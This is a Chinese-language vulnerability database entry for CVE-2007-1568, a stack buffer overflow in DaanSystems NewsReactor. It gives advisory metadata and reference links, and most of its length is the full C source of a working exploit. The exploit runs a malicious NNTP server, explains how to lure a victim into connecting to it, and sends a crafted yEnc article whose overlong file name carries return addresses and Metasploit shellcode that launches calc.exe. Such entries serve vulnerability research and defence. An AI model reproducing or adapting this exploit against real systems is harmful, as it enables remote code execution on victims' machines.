DaanSystems NewsReactor 栈缓冲区溢出漏洞

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漏洞ID 1112423 漏洞类型 缓冲区溢出
发布时间 2007-03-12 更新时间 2007-03-21
CVE编号 CVE-2007-1568 CNNVD-ID CNNVD-200703-540
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/3462
https://www.securityfocus.com/bid/83562
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-540
|漏洞详情
DaanSystemsNewsReactor20070220.21中存在栈缓冲区溢出漏洞。远程攻击者可以借助包含有长文件名的yEnc(yEncode)编码文章,执行任意代码。
|漏洞EXP
/********************************************************************************
*         NewsReactor 20070220 Article Grabbing Remote Buffer Overflow          *
*                                Exploit 1                                      *
*                                                                               *
*                                                                               *
* There is remote buffer overflow in NewsReactor 20070220 that can be triggered *
* by grabbing articles that contain an overly long file name.                   *
*                                                                               *
* To exploit, convince someone to set his newsgroup server to your ip:119 and   *
* ask him to grab an article (say with a .NZB file).                            *
*                                                                               *
* This exploit waits for incoming connection and then runs calc.exe.            *
*                                                                               *
* Return address should work on XP SP2 FR.                                      *
* Should fail on english systems cause I took the first return address I got =D.*
* Have Fun!                                                                     *
*                                                                               *
* Tested against WIN XP SP2 FR                                                  *
* Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr>                    *
********************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "time.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com */
/* 0x00 0x0b 0x0c 0x0a 0x0d 0x0e 0x0f 0x09 0x20 0x22 0x7C */
char calcshellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x37"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x48\x42\x34\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x56\x4e\x53\x4f\x35\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x56\x50\x47\x4a\x4d\x44\x4e\x43\x57\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x50\x42\x45\x56\x4a\x47\x45\x36\x42\x30\x5a";



int main(int argc, char* argv[])
{
	char recvbuff[1024];
	char evilbuff[10000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 119 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));
	printf("[+] NewsReactor Article Grabbing Remote Buffer Overflow\n");
	printf("[+] Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
	printf("[*] Listening on port 119...\n");
	listen(server,5);
	printf("[*] Waiting for client ...\n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connected\n");
	
	if (send(client,"200 Hello there\r\n",17,0)==-1)
	{
		printf("[-] Error in send!\n");
		exit(-1);
	}

	//BODY article or AUTHINFO user
	memset(recvbuff,0,1024);
	recv(client,recvbuff,1024,0);
	printf("-> %s\n",recvbuff);
	if (strstr(recvbuff,"AUTHINFO")) {
		send(client,"381 Pass please?\r\n",18,0);

		//authinfo pass
		memset(recvbuff,0,1024);
		recv(client,recvbuff,1024,0);
		printf("-> %s\n",recvbuff);
		send(client,"281 Pleased to meet you\r\n",25,0);
	
		//BODY article
		memset(recvbuff,0,1024);
		recv(client,recvbuff,1024,0);
		printf("-> %s\n",recvbuff);	
	}

	char* postname=(char *) malloc(strlen(recvbuff)*sizeof(char));
	memset(postname,0,100);
	if (!strstr(recvbuff,"BODY")) {
		printf("[-] BODY were expected. Exploit will fail.\n");
	}
	else {
		memcpy(postname,recvbuff+5,strlen(recvbuff)-5);
		printf("[+] Using %s to exploit.\n",postname);
	}
	
char header[]="220 0 ";
char header2[]=
" article\r\n"
"=ybegin part=1 line=128 size=127 name="
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAA"
"\xD6\xE6\xE3\x77" //jmp EDI in advapi32.dll XP SP2 FR.
"\xD6\xE6\xE3\x77" //ugly but we don't know where we land...
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77" 
"\xD6\xE6\xE3\x77"
"AAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAA";

char end[]=
"\r\n"
"=ypart begin=1 end=127\r\n"
"BLABLABLA\r\n"
"=yend size=127 part=1 pcrc32=d4f19f0f\r\n"
".\r\n\0";

	memset(evilbuff,'A',10000);
	memcpy(evilbuff,header,strlen(header));
	memcpy(evilbuff+strlen(header),postname,strlen(postname));
	memcpy(evilbuff+strlen(header)+strlen(postname),header2,strlen(header2));
	memcpy(evilbuff+strlen(header)+strlen(postname)+strlen(header2),calcshellcode,strlen(calcshellcode));
	memcpy(evilbuff+strlen(header)+strlen(postname)+strlen(header2)+strlen(calcshellcode)+70,end,strlen(end));
	send(client,evilbuff,strlen(evilbuff),0);
	
	printf("[+] Evil data sent. Have fun!\n");
	Sleep(500);
	return 0;
	
}

// milw0rm.com [2007-03-12]
|受影响的产品
DaanSystems NewsReactor 2007-02-21
|参考资料

来源:MILW0RM
名称:3463
链接:http://www.milw0rm.com/exploits/3463
来源:MILW0RM
名称:3462
链接:http://www.milw0rm.com/exploits/3462
来源:VUPEN
名称:ADV-2007-0934
链接:http://www.frsirt.com/english/advisories/2007/0934
来源:SECUNIA
名称:24487
链接:http://secunia.com/advisories/24487
来源:OSVDB
名称:34035
链接:http://osvdb.org/34035